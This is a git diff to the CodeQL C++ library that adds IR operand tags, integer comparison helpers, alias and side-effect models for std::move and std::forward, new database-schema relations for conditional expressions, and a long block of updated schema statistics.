a/cpp/ql/src/semmle/code/cpp/ir/internal/IntegerConstant.qll b/cpp/ql/src/semmle/code/cpp/ir/internal/IntegerConstant.qll index f92b9f57f0f..1c29e4618a0 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/internal/IntegerConstant.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/internal/IntegerConstant.qll @@ -102,6 +102,96 @@ IntValue div(IntValue a, IntValue b) { result = unknown() } +/** + * Returns `a == b`. If either input is unknown, the result is unknown. + */ +bindingset[a, b] +IntValue compareEQ(IntValue a, IntValue b) { + if hasValue(a) and hasValue(b) then ( + if a = b then + result = 1 + else + result = 0 + ) + else + result = unknown() +} + +/** + * Returns `a != b`. If either input is unknown, the result is unknown. + */ +bindingset[a, b] +IntValue compareNE(IntValue a, IntValue b) { + if hasValue(a) and hasValue(b) then ( + if a != b then + result = 1 + else + result = 0 + ) + else + result = unknown() +} + +/** + * Returns `a < b`. If either input is unknown, the result is unknown. + */ +bindingset[a, b] +IntValue compareLT(IntValue a, IntValue b) { + if hasValue(a) and hasValue(b) then ( + if a < b then + result = 1 + else + result = 0 + ) + else + result = unknown() +} + +/** + * Returns `a > b`. If either input is unknown, the result is unknown. + */ +bindingset[a, b] +IntValue compareGT(IntValue a, IntValue b) { + if hasValue(a) and hasValue(b) then ( + if a > b then + result = 1 + else + result = 0 + ) + else + result = unknown() +} + +/** + * Returns `a <= b`. If either input is unknown, the result is unknown. + */ +bindingset[a, b] +IntValue compareLE(IntValue a, IntValue b) { + if hasValue(a) and hasValue(b) then ( + if a <= b then + result = 1 + else + result = 0 + ) + else + result = unknown() +} + +/** + * Returns `a >= b`. If either input is unknown, the result is unknown. + */ +bindingset[a, b] +IntValue compareGE(IntValue a, IntValue b) { + if hasValue(a) and hasValue(b) then ( + if a >= b then + result = 1 + else + result = 0 + ) + else + result = unknown() +} + /** * Return `-a`. If `a` is unknown, the result is unknown. */ diff --git a/cpp/ql/src/semmle/code/cpp/ir/internal/OperandTag.qll b/cpp/ql/src/semmle/code/cpp/ir/internal/OperandTag.qll index a8063aaaf9d..6ddef2fb4cc 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/internal/OperandTag.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/internal/OperandTag.qll @@ -10,6 +10,8 @@ private int getMaxCallArgIndex() { private newtype TOperandTag = TAddressOperand() or + TBufferSizeOperand() or + TSideEffectOperand() or TCopySourceOperand() or TUnaryOperand() or TLeftOperand() or @@ -25,7 +27,9 @@ private newtype TOperandTag = exists(BuiltInOperation op | exists(op.getChild(argIndex)) ) - } + } or + TChiTotalOperand() or + TChiPartialOperand() /** * Identifies the kind of operand on an instruction. Each `Instruction` has at @@ -47,7 +51,7 @@ abstract class OperandTag extends TOperandTag { /** * The address operand of an instruction that loads or stores a value from - * memory (e.g. `Load`, `Store`). + * memory (e.g. `Load`, `Store`, `InitializeParameter`, `IndirectReadSideEffect`). */ class AddressOperandTag extends OperandTag, TAddressOperand { override final string toString() { @@ -63,6 +67,37 @@ AddressOperandTag addressOperand() { result = TAddressOperand() } +/** + * The buffer size operand of an instruction that represents a read or write of + * a buffer. + */ +class BufferSizeOperand extends OperandTag, TBufferSizeOperand { + override final string toString() { + result = "BufferSize" + } + + override final int getSortOrder() { + result = 1 + } +} + +/** + * The operand representing the read side effect of a `SideEffectInstruction`. + */ +class SideEffectOperandTag extends OperandTag, TSideEffectOperand { + override final string toString() { + result = "SideEffect" + } + + override final int getSortOrder() { + result = 2 + } +} + +SideEffectOperandTag sideEffectOperand() { + result = TSideEffectOperand() +} + /** * The source value operand of an instruction that copies this value to its * result (e.g. `Copy`, `Load`, `Store`). @@ -73,7 +108,7 @@ class CopySourceOperandTag extends OperandTag, TCopySourceOperand { } override final int getSortOrder() { - result = 1 + result = 3 } } @@ -90,7 +125,7 @@ class UnaryOperandTag extends OperandTag, TUnaryOperand { } override final int getSortOrder() { - result = 2 + result = 4 } } @@ -107,7 +142,7 @@ class LeftOperandTag extends OperandTag, TLeftOperand { } override final int getSortOrder() { - result = 3 + result = 5 } } @@ -124,7 +159,7 @@ class RightOperandTag extends OperandTag, TRightOperand { } override final int getSortOrder() { - result = 4 + result = 6 } } @@ -141,7 +176,7 @@ class ReturnValueOperandTag extends OperandTag, TReturnValueOperand { } override final int getSortOrder() { - result = 5 + result = 7 } } @@ -158,7 +193,7 @@ class ExceptionOperandTag extends OperandTag, TExceptionOperand { } override final int getSortOrder() { - result = 6 + result = 8 } } @@ -175,7 +210,7 @@ class ConditionOperandTag extends OperandTag, TConditionOperand { } override final int getSortOrder() { - result = 7 + result = 9 } } @@ -193,7 +228,7 @@ class UnmodeledUseOperandTag extends OperandTag, TUnmodeledUseOperand { } override final int getSortOrder() { - result = 8 + result = 10 } } @@ -210,7 +245,7 @@ class CallTargetOperandTag extends OperandTag, TCallTargetOperand { } override final int getSortOrder() { - result = 9 + result = 11 } } @@ -240,7 +275,7 @@ class ThisArgumentOperandTag extends ArgumentOperandTag, TThisArgumentOperand { } override final int getSortOrder() { - result = 10 + result = 12 } override final string getLabel() { @@ -268,7 +303,7 @@ class PositionalArgumentOperandTag extends ArgumentOperandTag, } override final int getSortOrder() { - result = 11 + argIndex + result = 14 + argIndex } final int getArgIndex() { @@ -279,3 +314,31 @@ class PositionalArgumentOperandTag extends ArgumentOperandTag, PositionalArgumentOperandTag positionalArgumentOperand(int argIndex) { result = TPositionalArgumentOperand(argIndex) } + +class ChiTotalOperandTag extends OperandTag, TChiTotalOperand { + override final string toString() { + result = "ChiTotal" + } + + override final int getSortOrder() { + result = 14 + } +} + +ChiTotalOperandTag chiTotalOperand() { + result = TChiTotalOperand() +} + +class ChiPartialOperandTag extends OperandTag, TChiPartialOperand { + override final string toString() { + result = "ChiPartial" + } + + override final int getSortOrder() { + result = 15 + } +} + +ChiPartialOperandTag chiPartialOperand() { + result = TChiPartialOperand() +} diff --git a/cpp/ql/src/semmle/code/cpp/models/Models.qll b/cpp/ql/src/semmle/code/cpp/models/Models.qll index 672354c9625..71526b8fca2 100644 --- a/cpp/ql/src/semmle/code/cpp/models/Models.qll +++ b/cpp/ql/src/semmle/code/cpp/models/Models.qll @@ -1,3 +1,4 @@ +private import implementations.IdentityFunction private import implementations.Inet private import implementations.Memcpy private import implementations.Printf diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/IdentityFunction.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/IdentityFunction.qll new file mode 100644 index 00000000000..169d5903b56 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/IdentityFunction.qll @@ -0,0 +1,45 @@ +import semmle.code.cpp.Function +import semmle.code.cpp.models.interfaces.Alias +import semmle.code.cpp.models.interfaces.DataFlow +import semmle.code.cpp.models.interfaces.SideEffect + +/** + * The standard function templates `std::move` and `std::identity` + */ +class IdentityFunction extends DataFlowFunction, SideEffectFunction, AliasFunction { + IdentityFunction() { + this.getNamespace().getParentNamespace() instanceof GlobalNamespace and + this.getNamespace().getName() = "std" and + ( + this.getName() = "move" or + this.getName() = "forward" + ) + } + + override predicate neverReadsMemory() { + any() + } + + override predicate neverWritesMemory() { + any() + } + + override predicate parameterNeverEscapes(int index) { + none() + } + + override predicate parameterEscapesOnlyViaReturn(int index) { + // These functions simply return the argument value. + index = 0 + } + + override predicate parameterIsAlwaysReturned(int index) { + // These functions simply return the argument value. + index = 0 + } + + override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { + // These functions simply return the argument value. + input.isInParameter(0) and output.isOutReturnValue() + } +} diff --git a/cpp/ql/src/semmle/code/cpp/models/interfaces/Alias.qll b/cpp/ql/src/semmle/code/cpp/models/interfaces/Alias.qll new file mode 100644 index 00000000000..0d489afa958 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/models/interfaces/Alias.qll @@ -0,0 +1,54 @@ +/** + * Provides an abstract class for accurate alias modeling of library + * functions when source code is not available. To use this QL library, + * create a QL class extending `AliasFunction` with a characteristic + * predicate that selects the function or set of functions you are modeling. + * Within that class, override the predicates provided by `AliasFunction` + * to match the flow within that function. + */ + +import semmle.code.cpp.Function +import semmle.code.cpp.models.Models + +/** + * Models the aliasing behavior of a library function. + */ +abstract class AliasFunction extends Function { + /** + * Holds if the address passed to the parameter at the specified index is never retained after + * the function returns. + * + * Example: + * ``` + * int* g; + * int* func(int* p, int* q, int* r, int* s, int n) { + * *s = 1; // `s` does not escape. + * g = p; // Stored in global. `p` escapes. + * if (rand()) { + * return q; // `q` escapes via the return value. + * } + * else { + * return r + n; // `r` escapes via the return value, even though an offset has been added. + * } + * } + * ``` + * + * For the above function, the following terms hold: + * - `parameterEscapesOnlyViaReturn(1)` + * - `parameterEscapesOnlyViaReturn(2)` + * - `parameterNeverEscapes(3)` + */ + abstract predicate parameterNeverEscapes(int index); + + /** + * Holds if the address passed to the parameter at the specified index escapes via the return + * value of the function, but does not otherwise escape. See the comment for + * `parameterNeverEscapes` for an example. + */ + abstract predicate parameterEscapesOnlyViaReturn(int index); + + /** + * Holds if the function always returns the value of the parameter at the specified index. + */ + abstract predicate parameterIsAlwaysReturned(int index); +} diff --git a/cpp/ql/src/semmle/code/cpp/models/interfaces/FunctionInputsAndOutputs.qll b/cpp/ql/src/semmle/code/cpp/models/interfaces/FunctionInputsAndOutputs.qll index db4e5a0faa0..4ee4dc962d2 100644 --- a/cpp/ql/src/semmle/code/cpp/models/interfaces/FunctionInputsAndOutputs.qll +++ b/cpp/ql/src/semmle/code/cpp/models/interfaces/FunctionInputsAndOutputs.qll @@ -1,5 +1,5 @@ /** - * Provides a set of QL clcasses for indicating dataflows through a particular + * Provides a set of QL classes for indicating dataflows through a particular * parameter, return value, or qualifier, as well as flows at one level of * pointer indirection. */ diff --git a/cpp/ql/src/semmle/code/cpp/models/interfaces/SideEffect.qll b/cpp/ql/src/semmle/code/cpp/models/interfaces/SideEffect.qll new file mode 100644 index 00000000000..4d358089896 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/models/interfaces/SideEffect.qll @@ -0,0 +1,30 @@ +/** + * Provides an abstract class for accurate dataflow modeling of library + * functions when source code is not available. To use this QL library, + * create a QL class extending `SideEffectFunction` with a characteristic + * predicate that selects the function or set of functions you are modeling. + * Within that class, override the predicates provided by `SideEffectFunction` + * to match the flow within that function. + */ + +import semmle.code.cpp.Function +import semmle.code.cpp.models.Models + +/** + * Models the side effects of a library function. + */ +abstract class SideEffectFunction extends Function { + /** + * Holds if the function never reads from memory that was defined before entry to the function. + * This memory could be from global variables, or from other memory that was reachable from a + * pointer that was passed into the function. + */ + abstract predicate neverReadsMemory(); + + /** + * Holds if the function never writes to memory that remains allocated after the function + * returns. This memory could be from global variables, or from other memory that was reachable + * from a pointer that was passed into the function. + */ + abstract predicate neverWritesMemory(); +} diff --git a/cpp/ql/src/semmle/code/cpp/rangeanalysis/SignAnalysis.qll b/cpp/ql/src/semmle/code/cpp/rangeanalysis/SignAnalysis.qll index 5e38b45602c..e70208e079f 100644 --- a/cpp/ql/src/semmle/code/cpp/rangeanalysis/SignAnalysis.qll +++ b/cpp/ql/src/semmle/code/cpp/rangeanalysis/SignAnalysis.qll @@ -193,6 +193,13 @@ private Sign castSign(Sign s, boolean fromSigned, boolean toSigned, CastKind ck) /** Holds if the sign of `e` is too complicated to determine. */ private predicate unknownSign(Instruction i) { + // REVIEW: This should probably be a list of the instructions that we _do_ understand, rather than + // the ones we don't understand. Currently, if we try to compute the sign of an instruction that + // we don't understand, and it isn't on this list, we incorrectly compute the sign as "none" + // instead of "+,0,-". + // Even better, we could track the state of each instruction as a power set of {non-negative, + // non-positive, non-zero}, which would mean that the representation of the sign of an unknown + // value would be the empty set. ( i instanceof UnmodeledDefinitionInstruction or @@ -203,6 +210,8 @@ private predicate unknownSign(Instruction i) { i instanceof BuiltInInstruction or i instanceof CallInstruction + or + i instanceof ChiInstruction ) } diff --git a/cpp/ql/src/semmlecode.cpp.dbscheme b/cpp/ql/src/semmlecode.cpp.dbscheme index 692743332ea..4c35a4c8bbd 100644 --- a/cpp/ql/src/semmlecode.cpp.dbscheme +++ b/cpp/ql/src/semmlecode.cpp.dbscheme @@ -691,6 +691,7 @@ usertype_uuid( ); is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); is_complete(unique int id: @usertype ref); @@ -1170,6 +1171,41 @@ expr_deallocator( int form: int ref ); +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + // the second field is a string representation of the value // the third field is the actual text in the source or the same as the second field values( @@ -1429,6 +1465,9 @@ case @expr.kind of | 319 = @noexceptexpr | 320 = @builtinshufflevector | 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector ; new_allocated_type( diff --git a/cpp/ql/src/semmlecode.cpp.dbscheme.stats b/cpp/ql/src/semmlecode.cpp.dbscheme.stats index c4a3a4d1d68..d1d9e613b09 100644 --- a/cpp/ql/src/semmlecode.cpp.dbscheme.stats +++ b/cpp/ql/src/semmlecode.cpp.dbscheme.stats @@ -1,19 +1,19 @@ @compilation -9060 +9471 @externalDataElement -64 +67 @duplication -202892 +155553 @similarity -239090 +181978 @external_package @@ -25,123 +25,123 @@ @location_default -8022713 +8470747 @location_stmt -5663436 +2155859 @location_expr -22100594 +8562452 @diagnostic -63199 +66055 @file -55998 +58538 @folder -7763 +8115 @macroinvocation -37324960 +37320187 @function -3598577 +3170534 @fun_decl -2988576 +3260664 @var_decl -4558796 +4989074 @type_decl -1355244 +1348252 @namespace_decl -127544 +133319 @using -197383 +229474 @static_assert -18199 +123345 @parameter -4460380 +4205940 @membervariable -344801 +301091 @globalvariable -336971 +256478 @localvariable -668696 +509447 @enumconstant -94952 +90119 @builtintype -497 +519 @derivedtype -3507081 +4116318 @decltype -63437 +42363 @usertype -3306162 +3821466 @type_mention -7732581 +1621853 @routinetype -508632 +397981 @ptrtomember -13331 +13688 @specifier -454 +474 @gnuattribute -426272 +330718 @stdattribute -43 +351 @declspec -34302 +56376 @msattribute @@ -149,7 +149,7 @@ @alignas -281 +271 @attribute_arg_empty @@ -157,103 +157,103 @@ @attribute_arg_token -1145 +15157 @attribute_arg_constant -135907 +104148 @attribute_arg_type -97 +79 @derivation -212282 +312123 @frienddecl -88104 +57159 @comment -1452211 +1518352 @namespace -7676 +8013 @specialnamequalifyingelement -10 +11 @namequalifier -938842 +1087462 @value -10236794 +7886701 @initialiser -1574731 +1555273 -@varaccess -6733144 +@literal +4033801 @errorexpr -52430 +44240 @address_of -516925 +392719 @reference_to -1331402 +945185 @indirect -341674 +261953 @ref_indirect -1492336 +1107565 @array_to_pointer -1280990 +974992 @vacuous_destructor_call -4962 +3786 @assume -39 +3224 @parexpr -3660444 +2805903 @arithnegexpr -737838 +566134 @unaryplusexpr -984 +171 @complementexpr -34593 +26166 @notexpr -329480 +252320 @conjugation @@ -261,51 +261,51 @@ @realpartexpr -64 +67 @imagpartexpr -64 +67 @postincrexpr -63538 +48713 @postdecrexpr -8002 +6135 @preincrexpr -74974 +61251 @predecrexpr -30567 +24199 @conditionalexpr -206817 +158514 @addexpr -235591 +183783 @subexpr -176294 +135193 @mulexpr -98275 +76424 @divexpr -57252 +31987 @remexpr -5125 +3526 @jmulexpr @@ -333,59 +333,59 @@ @paddexpr -121302 +93000 @psubexpr -31835 +24379 @pdiffexpr -28782 +22843 @lshiftexpr -310180 +237406 @rshiftexpr -71982 +55064 @andexpr -248607 +189424 @orexpr -138236 +130789 @xorexpr -16130 +12367 @eqexpr -293602 +225050 @neexpr -115974 +88915 @gtexpr -68308 +52370 @ltexpr -76855 +55121 @geexpr -30753 +23577 @leexpr -273093 +209374 @minexpr @@ -397,71 +397,71 @@ @assignexpr -712754 +546452 @assignaddexpr -77608 +59070 @assignsubexpr -9568 +7283 @assignmulexpr -6984 +6567 @assigndivexpr -2011 +2079 @assignremexpr -270 +282 @assignlshiftexpr -772 +591 @assignrshiftexpr -4540 +3456 @assignandexpr -10844 +8304 @assignorexpr -26580 +20355 @assignxorexpr -4434 +3399 @assignpaddexpr -12023 +13165 @assignpsubexpr -832 +678 @andlogicalexpr -132294 +101426 @orlogicalexpr -72721 +55685 @commaexpr -21632 +16465 @subscriptexpr -254218 +194903 @virtfunptrexpr @@ -469,79 +469,83 @@ @callexpr -224652 +221415 @vastartexpr -684 +3575 @vaargexpr -1899 +1456 @vaendexpr -747 +572 @vacopyexpr -34 +26 + + +@varaccess +5144511 @thisaccess -1381324 +1130942 @new_expr -35638 +26675 @delete_expr -8323 +6137 @throw_expr -23560 +20955 @condition_decl -12283 +5877 @braced_init_list -32 +33 @type_id -4357 +4012 @runtime_sizeof -273449 +209610 @runtime_alignof -1131 +867 @sizeof_pack -281 +293 @expr_stmt -200825 +152910 @routineexpr -2799216 +2120987 @type_operand -50822 +38908 @offsetofexpr -43479 +33284 @hasassignexpr @@ -561,7 +565,7 @@ @hasnothrowcopy -3 +5 @hastrivialassign @@ -589,11 +593,11 @@ @isbaseofexpr -12 +19 @isclassexpr -5 +6 @isconvtoexpr @@ -605,7 +609,7 @@ @isenumexpr -810 +214 @ispodexpr @@ -621,7 +625,7 @@ @typescompexpr -3671 +2812 @intaddrexpr @@ -629,87 +633,83 @@ @hastrivialdestructor -97 - - -@literal -5227969 +79 @uuidof -121 +830 @aggregateliteral -1097142 +835007 @delete_array_expr -1319 +1378 @new_array_expr -915 +5031 @ctordirectinit -118873 +77324 @ctorvirtualinit -4735 +4238 @ctorfieldinit -285602 +190332 @ctordelegatinginit -897 +553 @dtordirectdestruct -29820 +27172 @dtorvirtualdestruct -1513 +1446 @dtorfielddestruct -32307 +29783 @static_cast -246223 +199680 @reinterpret_cast -30482 +28635 @const_cast -9861 +8398 @dynamic_cast -1146 +994 @c_style_cast -5271956 +4022370 @lambdaexpr -2399 +13688 @param_ref -66962 +54785 @noopexpr -40 +83 @istriviallyconstructibleexpr @@ -737,7 +737,7 @@ @istrivialexpr -2519 +2045 @isstandardlayoutexpr @@ -745,7 +745,7 @@ @istriviallycopyableexpr -54 +56 @isliteraltypeexpr @@ -809,7 +809,7 @@ @noexceptexpr -76 +678 @builtinshufflevector @@ -817,79 +817,91 @@ @builtinchooseexpr -3088 +2364 + + +@builtinaddressof +619 + + +@vec_fill +1 + + +@builtinconvertvector +1 @lambdacapture -259 - - -@stmt_return -1378123 - - -@stmt_block -1623114 - - -@stmt_decl -690316 +21988 @stmt_expr -1581675 +1243918 @stmt_if -661372 +507059 @stmt_while -40817 +30879 @stmt_goto -127245 +97556 @stmt_label -119526 +91535 + + +@stmt_return +1049987 + + +@stmt_block +1258133 @stmt_end_test_while -220160 +120550 @stmt_for -42107 +30946 @stmt_switch_case -390492 +299046 @stmt_switch -76506 +58590 @stmt_asm -299048 +229017 @stmt_try_block -19300 +16536 @stmt_microsoft_try -268 +166 + + +@stmt_decl +590472 @stmt_set_vla_size -105 +80 @stmt_vla_decl -105 +80 @stmt_assigned_goto @@ -897,71 +909,71 @@ @stmt_empty -89215 +102646 @stmt_continue -12152 +9306 @stmt_break -323188 +247503 @stmt_range_based_for -23 +22 @stmt_handler -21300 +19071 @ppd_plain_include -274562 - - -@ppd_if -130410 - - -@ppd_ifdef -48656 - - -@ppd_ifndef -74822 - - -@ppd_elif -16326 - - -@ppd_else -49759 - - -@ppd_endif -253900 +287018 @ppd_define -305508 +319368 + + +@ppd_if +136360 + + +@ppd_ifdef +50863 + + +@ppd_ifndef +78217 + + +@ppd_elif +17067 + + +@ppd_else +52028 + + +@ppd_endif +265441 @ppd_undef -16662 +17418 @ppd_line -13973 +10712 @ppd_error -43 +45 @ppd_pragma -6920 +35760 @ppd_objc_import @@ -969,15 +981,15 @@ @ppd_include_next -75 +79 @ppd_warning -21 +22 @link_target -1303 +998 @xmldtd @@ -1006,15 +1018,15 @@ compilations -9060 +9471 id -9060 +9471 cwd -21 +22 @@ -1028,7 +1040,7 @@ 1 2 -9060 +9471 @@ -1044,12 +1056,12 @@ 2 3 -10 +11 836 837 -10 +11 @@ -1059,19 +1071,19 @@ compilation_args -538292 +412234 id -6898 +5282 num -257 +197 arg -28985 +22197 @@ -1085,27 +1097,27 @@ 10 43 -517 +396 49 72 -171 +131 83 84 -5069 +3882 84 85 -628 +481 85 94 -511 +392 @@ -1121,27 +1133,27 @@ 10 42 -517 +396 49 72 -171 +131 83 84 -5080 +3890 84 85 -617 +472 85 90 -511 +392 @@ -1157,67 +1169,67 @@ 2 4 -22 +16 185 413 -5 +4 2244 2245 -33 +25 2269 2281 -19 +14 2282 2293 -19 +14 2293 2305 -19 +14 2305 2307 -22 +16 2312 2334 -19 +14 2336 2356 -16 +12 2359 2364 -22 +16 2384 2397 -19 +14 2404 2412 -11 +8 2493 2494 -27 +21 @@ -1233,67 +1245,67 @@ 1 2 -13 +10 2 3 -27 +21 3 6 -22 +16 6 7 -16 +12 7 9 -22 +16 9 10 -11 +8 10 11 -44 +33 11 12 -13 +10 12 14 -16 +12 14 18 -16 +12 18 27 -22 +16 27 1403 -19 +14 1653 2303 -11 +8 @@ -1309,12 +1321,12 @@ 1 2 -27667 +21188 2 2494 -1317 +1008 @@ -1330,12 +1342,12 @@ 1 2 -28489 +21818 2 49 -495 +379 @@ -1345,19 +1357,19 @@ compilation_compiling_files -10077 +10534 id -9060 +9471 num -529 +553 file -5092 +5323 @@ -1371,12 +1383,12 @@ 1 2 -9039 +9449 47 50 -21 +22 @@ -1392,12 +1404,12 @@ 1 2 -9039 +9449 47 50 -21 +22 @@ -1413,17 +1425,17 @@ 1 2 -21 +22 2 3 -497 +519 838 839 -10 +11 @@ -1439,17 +1451,17 @@ 1 2 -118 +124 2 3 -400 +418 423 424 -10 +11 @@ -1465,17 +1477,17 @@ 1 2 -248 +259 2 3 -4811 +5029 3 14 -32 +33 @@ -1491,12 +1503,12 @@ 1 2 -4692 +4905 2 3 -400 +418 @@ -1506,23 +1518,23 @@ compilation_time -40136 +42047 id -9017 +9449 num -529 +553 kind -43 +45 seconds -12910 +15451 @@ -1536,12 +1548,12 @@ 1 2 -8996 +9426 47 50 -21 +22 @@ -1557,7 +1569,7 @@ 4 5 -9017 +9449 @@ -1571,19 +1583,24 @@ 12 +2 +3 +11 + + 3 4 -1784 +2147 4 5 -7211 +7267 -53 -57 -21 +52 +59 +22 @@ -1599,17 +1616,17 @@ 1 2 -21 +22 2 3 -497 +519 -834 -835 -10 +836 +837 +11 @@ -1625,7 +1642,7 @@ 4 5 -529 +553 @@ -1641,27 +1658,27 @@ 3 4 -21 +22 4 5 -75 +67 5 6 -346 +361 6 7 -75 +90 -1183 -1184 -10 +1338 +1339 +11 @@ -1675,9 +1692,9 @@ 12 -834 -835 -43 +836 +837 +45 @@ -1693,7 +1710,7 @@ 49 50 -43 +45 @@ -1707,24 +1724,24 @@ 12 -17 -18 -10 +15 +16 +11 -18 -19 -10 +21 +22 +11 -525 -526 -10 +714 +715 +11 -765 -766 -10 +767 +768 +11 @@ -1740,22 +1757,17 @@ 1 2 -9298 +11721 2 3 -2032 +2735 3 -5 -1102 - - -5 -554 -475 +422 +994 @@ -1771,12 +1783,12 @@ 1 2 -12164 +14761 2 50 -746 +689 @@ -1792,17 +1804,12 @@ 1 2 -11515 +13755 2 3 -1373 - - -3 -4 -21 +1695 @@ -1812,23 +1819,23 @@ diagnostic_for -742605 +781449 diagnostic -63199 +66055 compilation -3384 +3537 file_number -10 +11 file_number_diagnostic_number -6228 +6510 @@ -1842,17 +1849,17 @@ 1 2 -3395 +3549 2 3 -57328 +59917 -252 -307 -2476 +254 +309 +2588 @@ -1868,7 +1875,7 @@ 1 2 -63199 +66055 @@ -1884,7 +1891,7 @@ 1 2 -63199 +66055 @@ -1900,37 +1907,37 @@ 2 3 -637 +644 93 94 -21 +22 230 231 -1816 +1921 246 279 -302 +316 294 375 -281 +293 386 551 -259 +271 560 577 -64 +67 @@ -1946,7 +1953,7 @@ 1 2 -3384 +3537 @@ -1962,37 +1969,37 @@ 2 3 -637 +644 93 94 -21 +22 230 231 -1816 +1921 246 279 -302 +316 294 375 -281 +293 386 551 -259 +271 560 577 -64 +67 @@ -2006,9 +2013,9 @@ 12 -5845 -5846 -10 +5844 +5845 +11 @@ -2024,7 +2031,7 @@ 313 314 -10 +11 @@ -2040,7 +2047,7 @@ 576 577 -10 +11 @@ -2056,47 +2063,47 @@ 1 2 -1481 +1548 2 3 -1156 +1209 3 5 -378 +406 5 6 -1048 +1085 7 12 -464 +486 15 20 -562 +587 20 25 -432 +452 28 40 -519 +542 42 314 -183 +192 @@ -2112,52 +2119,52 @@ 4 9 -551 +576 10 11 -1038 +1085 14 23 -464 +486 30 39 -562 +587 40 49 -432 +452 56 79 -519 +542 84 85 -173 - - -252 -253 -1481 +180 254 255 -983 +1548 + + +256 +257 +1028 313 314 -21 +22 @@ -2173,7 +2180,7 @@ 1 2 -6228 +6510 @@ -2183,19 +2190,19 @@ compilation_finished -9060 +9471 id -9060 +9471 cpu_seconds -8325 +8782 elapsed_seconds -291 +316 @@ -2209,7 +2216,7 @@ 1 2 -9060 +9471 @@ -2225,7 +2232,7 @@ 1 2 -9060 +9471 @@ -2241,17 +2248,12 @@ 1 2 -7676 +8160 2 -4 -637 - - -5 -6 -10 +5 +621 @@ -2267,12 +2269,12 @@ 1 2 -8044 +8533 2 3 -281 +248 @@ -2288,52 +2290,57 @@ 1 2 -97 +45 2 3 -10 +56 3 4 -21 +11 4 -7 -21 +5 +33 + + +5 +6 +22 + + +7 +8 +33 8 -9 -32 - - -9 -25 -21 - - -27 32 -21 +22 -50 -112 -21 +41 +60 +22 -115 -123 -21 +73 +85 +22 -141 -158 -21 +106 +109 +22 + + +119 +150 +22 @@ -2349,52 +2356,57 @@ 1 2 -97 +45 2 3 -10 +56 3 4 -21 +11 4 -7 -21 +5 +33 + + +5 +6 +22 + + +7 +8 +33 8 -9 -32 - - -9 -25 -21 - - -27 32 -21 +22 -49 -96 -21 +41 +60 +22 -107 -119 -21 +64 +84 +22 -137 -149 -21 +99 +105 +22 + + +112 +139 +22 @@ -2404,23 +2416,23 @@ externalData -129 +135 id -64 +67 path -10 +11 column -21 +22 value -129 +135 @@ -2434,7 +2446,7 @@ 1 2 -64 +67 @@ -2450,7 +2462,7 @@ 2 3 -64 +67 @@ -2466,7 +2478,7 @@ 2 3 -64 +67 @@ -2482,7 +2494,7 @@ 6 7 -10 +11 @@ -2498,7 +2510,7 @@ 2 3 -10 +11 @@ -2514,7 +2526,7 @@ 12 13 -10 +11 @@ -2530,7 +2542,7 @@ 6 7 -21 +22 @@ -2546,7 +2558,7 @@ 1 2 -21 +22 @@ -2562,7 +2574,7 @@ 6 7 -21 +22 @@ -2578,7 +2590,7 @@ 1 2 -129 +135 @@ -2594,7 +2606,7 @@ 1 2 -129 +135 @@ -2610,7 +2622,7 @@ 1 2 -129 +135 @@ -2620,41 +2632,41 @@ snapshotDate -10 +11 snapshotDate -10 +11 sourceLocationPrefix -10 +11 prefix -10 +11 duplicateCode -202892 +155553 id -202892 +155553 relativePath -789 +604 equivClass -81806 +62719 @@ -2668,7 +2680,7 @@ 1 2 -202892 +155553 @@ -2684,7 +2696,7 @@ 1 2 -202892 +155553 @@ -2700,52 +2712,52 @@ 1 2 -104 +80 2 3 -216 +165 3 4 -69 +53 4 5 -83 +64 5 8 -55 +42 8 15 -62 +48 16 22 -62 +48 23 32 -62 +48 38 6340 -62 +48 18087 18088 -6 +5 @@ -2761,42 +2773,42 @@ 1 2 -293 +224 2 3 -146 +112 3 4 -62 +48 4 7 -62 +48 7 12 -69 +53 13 18 -62 +48 18 109 -62 +48 150 8251 -27 +21 @@ -2812,32 +2824,32 @@ 1 2 -20579 +15777 2 3 -34908 +26763 3 4 -12017 +9213 4 5 -6557 +5027 5 9 -6745 +5171 9 11 -998 +765 @@ -2853,12 +2865,12 @@ 1 2 -80801 +61948 2 6 -1005 +770 @@ -2868,19 +2880,19 @@ similarCode -239090 +181978 id -239090 +181978 relativePath -2653 +2020 equivClass -63903 +48639 @@ -2894,7 +2906,7 @@ 1 2 -239090 +181978 @@ -2910,7 +2922,7 @@ 1 2 -239090 +181978 @@ -2926,72 +2938,72 @@ 1 2 -114 +87 2 4 -206 +157 4 7 -190 +145 7 11 -222 +169 11 16 -232 +177 16 21 -239 +182 21 28 -219 +167 28 38 -202 +154 38 52 -202 +154 52 75 -199 +152 75 125 -199 +152 125 231 -199 +152 236 1038 -199 +152 1055 5166 -26 +20 @@ -3007,72 +3019,72 @@ 1 2 -153 +117 2 3 -155 +118 3 6 -228 +174 6 9 -193 +147 9 13 -207 +158 13 17 -202 +154 17 22 -207 +158 22 30 -211 +161 30 38 -202 +154 38 54 -206 +157 54 79 -203 +155 79 128 -203 +155 128 330 -199 +152 342 1467 -78 +60 @@ -3088,42 +3100,42 @@ 1 2 -22 +17 2 3 -26487 +20160 3 4 -12396 +9435 4 5 -7530 +5732 5 6 -5135 +3909 6 7 -3786 +2882 7 9 -5181 +3944 9 11 -3363 +2560 @@ -3139,32 +3151,32 @@ 1 2 -27187 +20693 2 3 -17612 +13405 3 4 